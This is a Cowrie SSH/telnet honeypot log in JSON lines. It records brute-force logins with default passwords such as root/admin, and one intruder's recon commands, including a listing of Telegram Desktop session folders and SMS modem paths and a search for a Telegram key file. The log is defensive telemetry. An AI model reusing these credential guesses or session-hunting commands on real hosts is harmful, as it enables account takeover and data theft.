{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:04.898372Z","src_ip":"194.113.233.25","session":"25213f0a0af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfnjkbq","message":"login attempt [root/fyfnjkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:05.179428Z","src_ip":"194.113.233.25","session":"25213f0a0af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:06.274481Z","src_ip":"194.113.233.25","session":"25213f0a0af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47080,"dst_ip":"10.17.0.5","dst_port":23,"session":"4274509ef10b","protocol":"telnet","message":"New connection: 50.6.8.71:47080 (10.17.0.5:23) [session: 4274509ef10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:06.846765Z"}
{"eventid":"cowrie.session.closed","duration":30.640747547149658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:18.340405Z","src_ip":"50.6.8.71","session":"58ffe6a96797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21608328819275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:25.296071Z","src_ip":"50.6.8.71","session":"d96941cb7d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.11692833900452,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:33.162410Z","src_ip":"50.6.8.71","session":"2cf5d18e9737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bf851bdc71","protocol":"telnet","message":"New connection: 50.6.8.71:57244 (10.17.0.5:23) [session: 45bf851bdc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:47.613196Z"}
{"eventid":"cowrie.session.closed","duration":42.22728419303894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:49.073924Z","src_ip":"50.6.8.71","session":"4274509ef10b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.087045669555664,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:21.700126Z","src_ip":"50.6.8.71","session":"45bf851bdc71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.63.130.95","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a13bced4044","protocol":"ssh","message":"New connection: 109.63.130.95:50410 (159.203.135.109:22) [session: 5a13bced4044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:27.294386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:27.299279Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:27.439810Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:30.610959Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:31.743791Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.046589Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.049357Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.051785Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.189920Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.488285Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.491680Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.626082Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.933769Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:32.937392Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.070167Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.370940Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.374083Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.580742Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.876699Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:33.879040Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.011237Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.303106Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.306041Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.439175Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.753817Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.757182Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:34.893164Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.198523Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.202474Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.420550Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.722232Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.724826Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:35.861037Z","src_ip":"109.63.130.95","session":"5a13bced4044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00907444953918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:43.765354Z","src_ip":"67.222.148.25","session":"f18f4f0f7957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34438,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a09ef4cd7c","protocol":"telnet","message":"New connection: 50.6.8.71:34438 (10.17.0.5:23) [session: 36a09ef4cd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:12:49.112979Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49916,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8d5702e5e34","protocol":"ssh","message":"New connection: 80.94.92.184:49916 (159.203.135.109:22) [session: c8d5702e5e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:01.596639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:01.810128Z","src_ip":"80.94.92.184","session":"c8d5702e5e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:01.814305Z","src_ip":"80.94.92.184","session":"c8d5702e5e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:03.039439Z","src_ip":"80.94.92.184","session":"c8d5702e5e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:04.574752Z","src_ip":"80.94.92.184","session":"c8d5702e5e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36298,"dst_ip":"10.17.0.5","dst_port":23,"session":"a22f59f54ed0","protocol":"telnet","message":"New connection: 50.6.8.71:36298 (10.17.0.5:23) [session: a22f59f54ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:07.046629Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33876,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82439c331f8","protocol":"telnet","message":"New connection: 50.6.8.71:33876 (10.17.0.5:23) [session: c82439c331f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:17.479535Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33892,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfe109af01e","protocol":"telnet","message":"New connection: 50.6.8.71:33892 (10.17.0.5:23) [session: 7cfe109af01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:23.052539Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbef83373ad","protocol":"ssh","message":"New connection: 194.59.206.2:59550 (10.17.0.5:22) [session: 1cbef83373ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:24.110801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:13:24.115021Z","src_ip":"194.59.206.2","session":"1cbef83373ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac